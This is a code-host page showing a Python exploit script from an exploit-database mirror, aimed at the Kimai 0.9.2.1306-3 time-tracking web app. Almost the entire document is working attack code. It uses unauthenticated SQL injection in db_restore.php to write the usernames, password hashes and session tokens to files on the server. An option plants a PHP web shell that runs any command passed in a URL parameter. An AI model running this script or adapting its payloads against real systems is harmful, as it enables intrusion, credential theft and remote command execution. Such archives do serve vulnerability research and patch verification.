PageRenderTime 55ms CodeModel.GetById 28ms RepoModel.GetById 0ms app.codeStats 0ms

/exploits/php/webapps/25606.py

https://bitbucket.org/DinoRex99/exploit-database
Python | 92 lines | 71 code | 3 blank | 18 comment | 1 complexity | e784e5a1965f626c24c3db608edc5347 MD5 | raw file
Possible License(s): GPL-2.0
  1. # Exploit Title: Kimai 0.9.2.1306-3 SQLi
  2. # Date: 05/20/2013
  3. # Exploit Author: drone (@dronesec)
  4. # Vendor Homepage: http://www.kimai.org/
  5. # Software Link: https://downloads.sourceforge.net/project/kimai/0.9.x/kimai.0.9.2.1306-3.zip
  6. # Version: 0.9.2.1306-3
  7. # Fixed in: source repositories (https://github.com/kimai/kimai)
  8. # Tested on: Windows XP SP3, Ubuntu 12.04 (apparmor disabled)
  9. """
  10. This doesn't even require authentication to the
  11. web app, as the file is accessible to any user.
  12. Modify paths accordingly if running against Windows
  13. @dronesec
  14. """
  15. from argparse import ArgumentParser
  16. import string
  17. import random
  18. import urllib2
  19. import sys
  20. import re
  21. def webshell(options, id):
  22. """ dat webshell
  23. """
  24. shell = ''.join(random.choice(string.ascii_lowercase+string.digits) for x in range(5))
  25. sqli = ('http://{0}/kimai/db_restore.php?dates%5B%5D={1}_kimai_var%20UNION'
  26. '%20SELECT%20\'<?php%20system($_GET["rr"]);?>\'%20FROM%20kimai_usr'
  27. '%20INTO%20OUTFILE%20\'{2}/{3}.php\';--%20&submit=recover')
  28. urllib2.urlopen(sqli.format(options.ip, id, options.path, shell))
  29. print '[!] Shell dropped. Go hit http://%s/kimai/%s.php?rr=ls'%(options.ip, shell)
  30. def fetch_id(options):
  31. id = None
  32. try:
  33. page = urllib2.urlopen('http://%s/kimai/db_restore.php'%options.ip).read()
  34. id = re.findall('name="dates\[\]" value=\"(.*?)\">', page)[0]
  35. except: pass
  36. return id
  37. def run(options):
  38. # poll URL for valid backup id
  39. id = None
  40. while id is None:
  41. id = fetch_id(options)
  42. if id is None:
  43. print '[-] No backups found, creating one...'
  44. urllib2.urlopen('http://%s/kimai/db_restore.php?submit=create+backup'%options.ip)
  45. print '[!] Using backup id', id
  46. if options.shell:
  47. return webshell(options, id)
  48. print '[!] Running queries...'
  49. # execute sqli
  50. sqli = ('http://{0}/kimai/db_restore.php?dates%5B%5D={1}_kimai_var%20UNION'
  51. '%20SELECT%20{3}%20FROM%20kimai_usr%20INTO%20OUTFILE%20\'{2}/{3}\';--%20&submit=recover')
  52. urllib2.urlopen(sqli.format(options.ip, id, options.path, 'usr_name'))
  53. # execute sqli; hashes
  54. urllib2.urlopen(sqli.format(options.ip, id, options.path, 'pw'))
  55. # get sessions
  56. urllib2.urlopen(sqli.format(options.ip, id, options.path, 'secure'))
  57. print '[!] Go grab your files:\n\t{0}/usr_names\n\t{0}/pw\n\t{0}/secure'\
  58. .format(options.path)
  59. def parse():
  60. parser = ArgumentParser()
  61. parser.add_argument('-i', help='server address', action='store', dest='ip')
  62. parser.add_argument('-p', help='path to dump files (otherwise guesses /var/www/kimai)',
  63. action='store',default='/var/www/kimai', dest='path')
  64. parser.add_argument('-w', help='web shell', action='store_true', dest='shell')
  65. options = parser.parse_args()
  66. if not options.ip:
  67. parser.print_help()
  68. sys.exit(1)
  69. options.path = options.path if options.path[-1] != '/' else options.path[:-1]
  70. return options
  71. if __name__ == "__main__":
  72. run(parse())